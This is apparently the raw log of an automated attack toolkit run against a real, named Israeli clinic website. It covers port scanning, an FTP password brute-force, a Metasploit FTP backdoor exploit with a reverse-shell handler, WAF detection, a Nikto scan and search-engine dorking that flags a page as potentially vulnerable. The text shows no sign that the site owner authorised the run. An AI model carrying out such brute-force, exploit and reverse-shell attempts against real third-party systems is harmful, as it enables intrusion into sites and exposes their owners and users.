rDNS record for 62.219.91.10: cust-62-219-91-10.cust.bezeqint.net

PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-brute:
|   Accounts: No valid accounts found
|_  Statistics: Performed 1410 guesses in 182 seconds, average tps: 7.4
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone
Running (JUST GUESSING): Microsoft Windows 2008|7|8.1|Phone|Vista (98%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 (98%), Microsoft Windows Server 2008 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8 (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 8.1 R1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 13 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 21/tcp)
HOP RTT       ADDRESS
1   283.28 ms 10.13.0.1
2   300.20 ms 37.187.24.253
3   292.21 ms 10.50.225.61
4   296.97 ms 10.17.129.40
5   287.79 ms 10.73.0.50
6   ...
7   303.72 ms be100-1112.ams-5-a9.nl.eu (213.251.128.67)
8   391.49 ms 80.249.209.46
9   397.77 ms bzq-179-124-101.cust.bezeqint.net (212.179.124.101)
10  381.01 ms bzq-219-189-213.dsl.bezeqint.net (62.219.189.213)
11  180.04 ms bzq-218-77-74.red.bezeqint.net (81.218.77.74)
12  180.76 ms 62.219.24.28
13  173.76 ms cust-62-219-91-10.cust.bezeqint.net (62.219.91.10)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 204.62 seconds
     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.16.26-dev                         ]
+ -- --=[ 1714 exploits - 975 auxiliary - 300 post        ]
+ -- --=[ 507 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

RHOST => doctorarik.co.il
RHOSTS => doctorarik.co.il
[*] doctorarik.co.il:21 - Banner: 220 Microsoft FTP Service
[*] doctorarik.co.il:21 - USER: 331 Password required for 8sP:).
[*] Exploit completed, but no session was created.
[*] Started reverse TCP double handler on 10.13.2.94:4444
[*] doctorarik.co.il:21 - Sending Backdoor Command
[*] Exploit completed, but no session was created.
 + -- --=[Port 22 closed... skipping.
 + -- --=[Port 23 closed... skipping.
 + -- --=[Port 25 closed... skipping.
 + -- --=[Port 53 closed... skipping.
 + -- --=[Port 79 closed... skipping.
 + -- --=[Port 80 opened... running tests...
 + -- ----------------------------=[Checking for WAF]=------------------------ -- +

                                 ^     ^
        _   __  _   ____ _   __  _    _   ____
       ///7/ /.' \ / __////7/ /,' \ ,' \ / __/
      | V V // o // _/ | V V // 0 // 0 // _/
      |_n_,'/_n_//_/   |_n_,' \_,' \_,'/_/
                                <
                                 ...'

    WAFW00F - Web Application Firewall Detection Tool

    By Sandro Gauci && Wendel G. Henrique

Checking http://doctorarik.co.il
Generic Detection results:
The site http://doctorarik.co.il seems to be behind a WAF or some sort of security solution
Reason: Blocking is being done at connection/packet level.
Number of requests: 9

 + -- ----------------------------=[Gathering HTTP Info]=--------------------- -- +
http://doctorarik.co.il [301 Moved Permanently] Country[ISRAEL][IL], HTTPServer[Microsoft-IIS/7.5], IP[62.219.91.10], Microsoft-IIS[7.5], RedirectLocation[http://www.doctorarik.co.il/], Title[Document Moved], UncommonHeaders[x-powered-by-plesk], X-Powered-By[ASP.NET]
http://www.doctorarik.co.il/ [200 OK] Cookies[PHPSESSID], Country[ISRAEL][IL], HTTPServer[Microsoft-IIS/7.5], IP[62.219.91.10], JQuery[1], Microsoft-IIS[7.5], Script[text/javascript], Title[הרזיה, הרזיה בריאה, הרזיה נכונה- מרפאת הרזיה של ד"ר אריק ויסבורד], UncommonHeaders[x-powered-by-plesk], WordPress, X-Powered-By[ASP.NET], x-pingback[http://www.doctorarik.co.il/xmlrpc.php]

	__  ______ _____ 
	\ \/ / ___|_   _|
	 \  /\___ \ | |  
	 /  \ ___) || |  
	/_/\_|____/ |_|  

+ -- --=[Cross-Site Tracer v1.3 by 1N3 @ CrowdShield
+ -- --=[Target: doctorarik.co.il:80

 + -- ----------------------------=[Checking HTTP Headers]=------------------- -- +
+ -- --=[Checking if X-Content options are enabled on doctorarik.co.il... 

+ -- --=[Checking if X-Frame options are enabled on doctorarik.co.il... 

+ -- --=[Checking if X-XSS-Protection header is enabled on doctorarik.co.il... 

+ -- --=[Checking HTTP methods on doctorarik.co.il... 

+ -- --=[Checking if TRACE method is enabled on doctorarik.co.il... 

+ -- --=[Checking for META tags on doctorarik.co.il... 

+ -- --=[Checking for open proxy on doctorarik.co.il... 
					' <span class="separator"></span> <a class="copyright" href="http://www.parallels.com">&copy; 1999-2013. Parallels IP Holdings GmbH.<br />All rights reserved.</a>');
				}
			</script>
		</div>
	</div>

	<script>(function(){var D=document,W=window;function A(){if(W.plesk){return;}W.plesk=1;if(D.getElementsByTagName){var S=D.getElementsByTagName("head")[0].appendChild(D.createElement("script"));S.setAttribute("src","http://promo.parallels.com/js/promo.plesk.js")}}if(D.addEventListener){D.addEventListener("DOMContentLoaded",A,false)}/*@cc_on D.write("\x3cscript id=\"_IE_onload\" defer=\"defer\" src=\"javascript:void(0)\">\x3c\/script>");(D.getElementById("_IE_onload")).onreadystatechange=function(){if(this.readyState=="complete"){A()}};@*/if(/WebK/i.test(navigator.userAgent)){var C=setInterval(function(){if(/loaded|complete/.test(D.readyState)){clearInterval(C);A()}},10)}W[/*@cc_on !@*/0?'attachEvent':'addEventListener'](/*@cc_on 'on'+@*/'load',A,false)})()</script>

</body>
</html>
+ -- --=[Enumerating software on doctorarik.co.il... 
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin

+ -- --=[Checking if Strict-Transport-Security is enabled on doctorarik.co.il... 

+ -- --=[Checking for Flash cross-domain policy on doctorarik.co.il... 
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://www.doctorarik.co.il/crossdomain.xml">here</a></body>
+ -- --=[Checking for Silverlight cross-domain policy on doctorarik.co.il... 
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://www.doctorarik.co.il/clientaccesspolicy.xml">here</a></body>
+ -- --=[Checking for HTML5 cross-origin resource sharing on doctorarik.co.il... 

+ -- --=[Retrieving robots.txt on doctorarik.co.il... 
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://www.doctorarik.co.il/robots.txt">here</a></body>
+ -- --=[Retrieving sitemap.xml on doctorarik.co.il... 
<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://www.doctorarik.co.il/sitemap.xml">here</a></body>
+ -- --=[Checking cookie attributes on doctorarik.co.il... 

+ -- --=[Checking for ASP.NET Detailed Errors on doctorarik.co.il... 


 + -- ----------------------------=[Running Web Vulnerability Scan]=---------- -- +
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          62.219.91.10
+ Target Hostname:    doctorarik.co.il
+ Target Port:        80
+ Start Time:         2017-12-30 23:23:35 (GMT-5)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/7.5
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-powered-by-plesk' found, with contents: PleskWin
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: http://www.doctorarik.co.il/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Scan terminated:  20 error(s) and 5 item(s) reported on remote host
+ End Time:           2017-12-30 23:31:03 (GMT-5) (448 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
 + -- ----------------------------=[Saving Web Screenshots]=------------------ -- +
[+] Screenshot saved to /usr/share/sniper/loot/screenshots/doctorarik.co.il-port80.jpg
 + -- ----------------------------=[Running Google Hacking Queries]=--------------------- -- +
 + -- ----------------------------=[Running InUrlBR OSINT Queries]=---------- -- +

    _____  .701F. .iBR.   .7CL. .70BR.   .7BR. .7BR'''Cq.   .70BR.      .1BR'''Yp, .8BR'''Cq.
   (_____)   01     01N.    C     01       C     01   .01.    01          01    Yb   01   .01.
   (() ())   01     C YCb   C     01       C     01   ,C9     01          01    dP   01   ,C9
    \   /    01     C  .CN. C     01       C     0101dC9      01          01'''bg.   0101dC9
     \ /     01     C   .01.C     01       C     01  YC.      01      ,   01    .Y   01  YC.
     /=\     01     C     Y01     YC.     ,C     01   .Cb.    01     ,C   01    ,9   01   .Cb.
    [___]  .J01L. .JCL.    YC      .b0101d'.   .J01L. .J01. .J01010101C .J0101Cd9  .J01L. .J01./ 2.1

__[ ! ] Neither war between hackers, nor peace for the system.
__[ ! ] http://blog.inurl.com.br
__[ ! ] http://fb.com/InurlBrasil
__[ ! ] http://twitter.com/@googleinurl
__[ ! ] http://github.com/googleinurl
__[ ! ] Current PHP version::[ 7.0.26-1 ]
__[ ! ] Current script owner::[ root ]
__[ ! ] Current uname::[ Linux Kali 4.14.0-kali1-amd64 #1 SMP Debian 4.14.2-1kali1 (2017-12-04) x86_64 ]
__[ ! ] Current pwd::[ /usr/share/sniper ]
__[ ! ] Help: php inurlbr.php --help
------------------------------------------------------------------------------------------------------------------------

[ ! ] Starting SCANNER INURLBR 2.1 at [30-12-2017 23:32:33]
[ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal.
It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program

[ INFO ][ OUTPUT FILE ]:: [ /usr/share/sniper/output/inurlbr-doctorarik.co.il.txt  ]
[ INFO ][ DORK ]::[ site:doctorarik.co.il ]
[ INFO ][ SEARCHING ]:: {
[ INFO ][ ENGINE ]::[ GOOGLE - www.google.ee ]

[ INFO ][ SEARCHING ]:: 
-[:::]
[ INFO ][ ENGINE ]::[ GOOGLE API ]

[ INFO ][ SEARCHING ]:: 
-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]
[ INFO ][ ENGINE ]::[ GOOGLE_GENERIC_RANDOM - www.google.im ID: 012347377894689429761:wgkj5jn9ee4 ]

[ INFO ][ SEARCHING ]:: 
-[:::]-[:::]-[:::]-[:::]-[:::]-[:::]

[ INFO ][ TOTAL FOUND VALUES ]:: [ 63 ]


 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 0 / 63 ]-[23:32:57] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 0 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 1 / 63 ]-[23:33:02] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/20170629102001-ooy-425.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 2 / 63 ]-[23:33:07] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 3 / 63 ]-[23:33:12] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP::0 
|_[ + ] More details:: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Connection timed out after 5000 milliseconds

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 4 / 63 ]-[23:33:22] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/thetencommandments/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 0 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 5 / 63 ]-[23:33:30] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/business/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: ,   , IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 0 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 6 / 63 ]-[23:33:38] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/contact/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 7773 out of 16348 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 7 / 63 ]-[23:33:43] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/checkyourself/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 8 / 63 ]-[23:33:50] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/about/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 9 / 63 ]-[23:33:57] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/movie/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 9121 out of 15003 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 10 / 63 ]-[23:34:03] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/keepslimming/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 18557 out of 23967 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 11 / 63 ]-[23:34:12] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child/parentstips/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 13165 out of 19394 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 12 / 63 ]-[23:34:20] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child/childfaq/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 10469 out of 24867 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 13 / 63 ]-[23:34:30] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/adultcustomers/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 10469 out of 21199 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 14 / 63 ]-[23:34:40] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/adultfaq/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 18557 out of 47581 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 15 / 63 ]-[23:34:45] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child/recipes/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 2381 out of 21166 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 16 / 63 ]-[23:34:52] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/myprogram/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 17 / 63 ]-[23:34:57] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/wp-login.php ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 18 / 63 ]-[23:35:00] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child/myths/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 19 / 63 ]-[23:35:06] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/business/businesstips/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 20 / 63 ]-[23:35:12] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/business/businessmyway/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 13229 out of 15092 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 21 / 63 ]-[23:35:19] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/business/businessnutrition/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 13229 out of 16283 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 22 / 63 ]-[23:35:22] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child/stepbystep/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 23 / 63 ]-[23:35:28] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/about/drarik/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 13229 out of 14705 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 24 / 63 ]-[23:35:34] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/stabbing/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 6489 out of 16732 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 25 / 63 ]-[23:35:41] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child/technologylinks/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 22665 out of 53619 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 26 / 63 ]-[23:35:48] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child/bmichild/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 7837 out of 15353 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 27 / 63 ]-[23:35:57] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/adultlinks/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 19969 out of 93853 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 28 / 63 ]-[23:36:03] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child/pharmalinks/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 10533 out of 53331 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 29 / 63 ]-[23:36:08] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/about/rebaka/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 30 / 63 ]-[23:36:13] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/thetencommandments/terms/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 31 / 63 ]-[23:36:20] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child/childlinks/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 7837 out of 15340 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 32 / 63 ]-[23:36:25] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/child/childcustomers/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 33 / 63 ]-[23:36:29] [ ! ] 
|_[ + ] Target:: [ ( POTENTIALLY VULNERABLE )   http://www.doctorarik.co.il/20170629102001-nyv-472.html ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found::  POSTGRESQL-06  -  VALUE: pg_
|_[ + ] VALUE SAVED IN THE FILE:: inurlbr-doctorarik.co.il.txt

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 34 / 63 ]-[23:36:37] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/adult-articles/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
|_[ + ] More details::  / -  / , ISP: 
|_[ + ] Found:: UNIDENTIFIED
|_[ + ] ERROR CONECTION:: Operation timed out after 5000 milliseconds with 15925 out of 20385 bytes received

 _[ - ]::--------------------------------------------------------------------------------------------------------------
|_[ + ] [ 35 / 63 ]-[23:36:43] [ - ] 
|_[ + ] Target:: [ http://www.doctorarik.co.il/index.php/adult/adults-recipes/ ]
|_[ + ] Exploit:: 
|_[ + ] Information Server:: HTTP/1.1 200 OK, Server: Microsoft-IIS/7.5  X-Powered-By: ASP.NET, IP:62.219.91.10:80 
